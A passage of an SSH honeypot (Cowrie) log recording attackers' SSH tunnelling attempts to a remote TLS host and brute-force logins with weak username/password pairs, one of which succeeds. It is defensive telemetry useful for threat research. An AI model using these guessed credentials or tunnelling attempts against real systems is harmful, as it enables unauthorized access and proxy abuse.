no-cache\\r\\n\\r\\n_=ejY%2BeHppd3MwblB2QmEyMA%3D%3DoGSXwo2saxrH7n2DV%2BZ%2B41hZ1G%2FjUmdmtqNSZ9f6iLnPq3q%2BCv%2B3Jlr%2Fv3pQEcOxxNoTNNaL7LQOPImfMwWd1qGK%2FZY%2BW1744wE3eZGldCqb4xe1FzzMvAcY3YAMUo5JFGoFBYSOoYRHZenblTNwn2nfKLQ1U2DT9vfMiO%2BPx4h0aAOQenddYP2etJxL4axTdJ7VjOlbjSBSdx%2F7aCwCQ1idxcl1FJ5nqRxhGkenXtCrpVGpwg62Mva0T7u7B7Q7mIecaSyuW88OjeQdbsUXzeGSb3QV%2Fr7DZCnWxudYuufbohwXp8Xy3%2Fjqgyeo19mBetHsMqsZNFMLUO3zIaz10vwJl1TpuN12SI03E%2F02dZqY2AkSYdX3cLEphBqy9wsrv%2Bdqxyfy%2BzUrmBDilPeUVRMNusZ5mZfS3vIgvKAwMz6FmaRWSNI1nKq0dIa%2BModIhgZCl%2BgJIWTG3qp7DdSU4BP1ckGKoRTVstxrjuUBPwxPexBi%2B4jhaU46wKWW4HmyZ16MCaom0mMw9wNlPjd6IT52OlkZo1Dv72qq5ql%2BYYyDmywWKVAWcXr2SwHggZHU%2B8o4XzQIcdRDzbjeJl2A8fCXsVaIk64qVFHJ0RX%2BSwjq8BBGl2lXnLACmxBUDnp3z9nTVBjv6QgsB1qjMFTtUnzuZLggTmfE05iYhzPMiakOwdwdwWFhTsU9vL5HUAWHrNXMeIBWdt2udLAAlC3dRJtlWRs8DAEbmrXee3LhxZa1yfeVjTSEA0CuXjbcPTtsZjG7bQZyGxx0j%2BHuiurthEkqZnff2rWwcxwp%2FjgIFezzSAYfEc4jLZkFpOScpJX16E%2FKJAu88lXR4W7Bkp1ZaWBtH3ytoItYl5KoyUnSJxQwPiqUUoSE4vxPxCpzDDrRZF7H0YIEYN141BItwZWsu0me6cN026JDWPHRexcS92hc4i9CcjCxJ9wfwydXIJoJb65lAH7mgk4ReJ34BP4lkcrHNEQoFumWhGlC%2BHegDYmCO0nyJsVDdYAl%2FcWHJCjPlwhlpvFTEkmnQQvcNxJWaiuq8TLYQC%2FdoADklF5Uh4Dj%2BXIudMvDIp5Y%2B8ZYbUS1'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:59.533170Z","src_ip":"173.208.192.194","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:59.597585Z","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:59.631865Z","src_ip":"173.208.192.194","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03l\\x05\\xfb\\xf8\\xa2z\\x89\\x07\\x10x>F\\x0c\\xe6\\xe78K\\xc1\\xb6\\xb1\\xc5?\\x16!KN\\xbb\\xb2\\xea\\xfa\\xfd? \\xd5\\xca\\x93K\\xee\\x07\\xc6\\x92\\x11BR\\xa7E`\\x08\\x8b\\x84\\xf0\\x89\\xc2\\xfb\\x8a\\xa9\\xb7\\xa1\\xe4\\xd9\\xfcj\\x9d\\xf2\\xb1\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd6\\xe1\\x0e\\x9af\\xfbB\\xecp\\x9c\\xcb`\\xd5F}Qs\\x82)\\xca\\x9a\\xad(MH;\\x15\\xbf\\xc0P\\x9cf\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03l\\x05\\xfb\\xf8\\xa2z\\x89\\x07\\x10x>F\\x0c\\xe6\\xe78K\\xc1\\xb6\\xb1\\xc5?\\x16!KN\\xbb\\xb2\\xea\\xfa\\xfd? \\xd5\\xca\\x93K\\xee\\x07\\xc6\\x92\\x11BR\\xa7E`\\x08\\x8b\\x84\\xf0\\x89\\xc2\\xfb\\x8a\\xa9\\xb7\\xa1\\xe4\\xd9\\xfcj\\x9d\\xf2\\xb1\\x00 \\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xd6\\xe1\\x0e\\x9af\\xfbB\\xecp\\x9c\\xcb`\\xd5F}Qs\\x82)\\xca\\x9a\\xad(MH;\\x15\\xbf\\xc0P\\x9cf\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nZZ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:59.635453Z","src_ip":"173.208.192.194","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:59.673469Z","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:59.707451Z","src_ip":"173.208.192.194","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03C\\x1a5?\\x86\\xe4\\xb5G\\x80\\xe3\\x1d\\x8f\\x83O\\r\\x99\\xa3\\xa0\\xe8\\xace\\x98\\xe2\\x1d\\xf4\\xc4\\xe8\\x19\\xb7\\x9e2l \\xfb\\xd2v\\xa9\\xc4\\x8bP\\x1a\\xc3\\xc0N&\\xaeM\\xb4\\xbb \\x84xh\\x1dl\\x8f\\r\\xcdw.\\x82\\x15\\x8d\\x16>\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5R_\\xe6\\xb2 \\xcd\\x15y\\xaf(\\xcc\\x95\\xd7W\\x03\\xf5\\xa3\\xa72Y\\x99\\xea\\x9f)\\xa1\\x15\\xe2\\xef\\xe9\\x19B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03C\\x1a5?\\x86\\xe4\\xb5G\\x80\\xe3\\x1d\\x8f\\x83O\\r\\x99\\xa3\\xa0\\xe8\\xace\\x98\\xe2\\x1d\\xf4\\xc4\\xe8\\x19\\xb7\\x9e2l \\xfb\\xd2v\\xa9\\xc4\\x8bP\\x1a\\xc3\\xc0N&\\xaeM\\xb4\\xbb \\x84xh\\x1dl\\x8f\\r\\xcdw.\\x82\\x15\\x8d\\x16>\\x00\"\\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc5R_\\xe6\\xb2 \\xcd\\x15y\\xaf(\\xcc\\x95\\xd7W\\x03\\xf5\\xa3\\xa72Y\\x99\\xea\\x9f)\\xa1\\x15\\xe2\\xef\\xe9\\x19B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:06:59.711943Z","src_ip":"173.208.192.194","session":"dd748657c602","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":50910,"dst_ip":"159.203.135.109","dst_port":22,"session":"85a5d73a6bca","protocol":"ssh","message":"New connection: 91.92.40.36:50910 (159.203.135.109:22) [session: 85a5d73a6bca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:00.819772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:01.322266Z","src_ip":"91.92.40.36","session":"85a5d73a6bca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:02.044050Z","src_ip":"91.92.40.36","session":"85a5d73a6bca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"profit","password":"profit123","message":"login attempt [profit/profit123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:04.023696Z","src_ip":"91.92.40.36","session":"85e0e5101172","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.164.152.20","src_port":57133,"dst_ip":"10.17.0.5","dst_port":22,"session":"eef90d37caaa","protocol":"ssh","message":"New connection: 113.164.152.20:57133 (10.17.0.5:22) [session: eef90d37caaa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:04.214232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:04.226324Z","src_ip":"113.164.152.20","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:04.548576Z","src_ip":"113.164.152.20","session":"eef90d37caaa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"portale","password":"portale123","message":"login attempt [portale/portale123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:04.599210Z","src_ip":"91.92.40.36","session":"85a5d73a6bca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.17.146.173","src_port":48602,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb092308e431","protocol":"ssh","message":"New connection: 201.17.146.173:48602 (159.203.135.109:22) [session: cb092308e431]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:05.506351Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:05.514905Z","src_ip":"201.17.146.173","session":"cb092308e431","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:05.666473Z","src_ip":"201.17.146.173","session":"cb092308e431","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:07:05.746472Z","src_ip":"113.164.152.20","session":"eef90d37caaa","protocol":"ssh"}
